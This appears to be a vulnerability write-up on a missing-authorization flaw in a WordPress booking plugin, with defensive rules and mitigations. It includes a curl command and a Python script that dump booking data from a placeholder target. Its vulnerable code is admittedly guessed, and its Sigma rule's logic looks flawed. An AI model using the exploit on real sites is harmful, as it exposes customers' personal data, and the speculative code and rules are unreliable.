CVE-2025-39457

Executive Summary

CVE-2025-39457 is a Missing Authorization vulnerability in the Booking and Rental Manager for WooCommerce WordPress plugin by magepeopleteam. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive booking data or administrative functions. The vulnerability affects all versions up to and including 2.2.8. As of this report, no official patch has been released by the vendor, leaving all installations exposed.

Supply Chain & Package Security

This vulnerability resides within the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is installed as a standard WordPress plugin. Users are advised to monitor the plugin’s update channel for a patched version. Since no patch is available, the supply chain risk is elevated, and users should consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. The vulnerability is easily exploitable remotely without authentication, but the impact is limited to low confidentiality loss. However, in the context of a booking system, this could expose customer PII, booking details, and payment information.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the plugin’s AJAX handlers or REST API endpoints. The plugin likely fails to verify user capabilities (e.g., manage_options, edit_posts) before processing requests. This allows any unauthenticated user to call functions that should be restricted to administrators or authenticated users.

Root Cause: The plugin uses wp_ajax_* and wp_ajax_nopriv_* hooks without proper capability checks. For example, a function like booking_rental_get_all_bookings() might be hooked to wp_ajax_nopriv_booking_rental_get_all_bookings, allowing unauthenticated access.

Attack Vector: An attacker sends crafted HTTP requests to the WordPress site’s AJAX endpoint (/wp-admin/admin-ajax.php) with the appropriate action parameter. The server processes the request without verifying the user’s role, returning sensitive data.

Impact: Unauthorized disclosure of booking data, customer names, email addresses, phone numbers, and potentially payment transaction IDs. This could lead to further social engineering attacks or identity theft.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. A typical vulnerable snippet might look like:

// Vulnerable code (booking-and-rental-manager-for-woocommerce/includes/class-ajax.php)
add_action('wp_ajax_nopriv_get_all_bookings', 'get_all_bookings');
function get_all_bookings() {
    global $wpdb;
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}booking_rental_bookings");
    wp_send_json($results);
}

A patched version would include a capability check:

// Patched code
add_action('wp_ajax_get_all_bookings', 'get_all_bookings');
add_action('wp_ajax_nopriv_get_all_bookings', 'get_all_bookings');
function get_all_bookings() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    global $wpdb;
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}booking_rental_bookings");
    wp_send_json($results);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Booking and Rental Manager plugin <= 2.2.8
• Network access to the site

Exploitation Steps:

1. Identify the vulnerable AJAX action. Common actions include get_all_bookings, get_booking_details, export_bookings.
2. Send a crafted request:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=get_all_bookings"

3. If successful, the response will contain JSON-encoded booking data.

Automated Exploit (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
data = {"action": "get_all_bookings"}
response = requests.post(target, data=data)
if response.status_code == 200:
    print(response.json())
else:
    print("Exploit failed")

Blue Team

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with actions related to booking management from unauthenticated users.
• Look for spikes in POST requests to /wp-admin/admin-ajax.php with action parameters like get_all_bookings, export_bookings, etc.

Honeypot:

• Deploy a fake endpoint that mimics the vulnerable AJAX action and logs the attacker’s IP and request data.

Mitigation:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to known vulnerable AJAX actions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=get_all_bookings or similar.
  • Source IPs making repeated AJAX calls without prior authentication.
• File IOCs:
  • Presence of unexpected log files in /wp-content/uploads/ containing booking data.
• Behavioral IOCs:
  • Unauthorized access to booking data from unknown IPs.
  • Sudden increase in database queries on the wp_booking_rental_bookings table.

Detection Engineering

YARA Rule

rule CVE_2025_39457_Booking_Rental_Manager {
    meta:
        description = "Detects vulnerable Booking and Rental Manager plugin files"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-39457"
    strings:
        $vuln_ajax = "wp_ajax_nopriv_" nocase
        $booking_action = "get_all_bookings" nocase
        $missing_cap = "current_user_can" nocase
    condition:
        $vuln_ajax and $booking_action and not $missing_cap
}

Sigma Rule

title: CVE-2025-39457 - Missing Authorization in Booking and Rental Manager
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated AJAX requests to vulnerable Booking and Rental Manager endpoints
author: Valters IT
date: 2025/04/17
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-39457
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: admin-ajax.php
        cs-uri-query|contains|all:
            - action=get_all_bookings
            - action=export_bookings
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-39457 - Booking and Rental Manager Missing Authorization"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=get_all_bookings"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Implement a WAF rule to block unauthenticated requests to admin-ajax.php with suspicious action parameters.
3. Review server logs for any signs of exploitation.

Long-term Fix:

• The vendor must release a patched version that adds proper capability checks (e.g., current_user_can('manage_options')) to all AJAX handlers.
• Users should update to the latest version once available.

Workaround:

• Add the following code to the theme’s functions.php to block unauthenticated AJAX requests for booking actions:

add_action('wp_ajax_nopriv_get_all_bookings', function() {
    wp_die('Unauthorized', 403);
}, 1);

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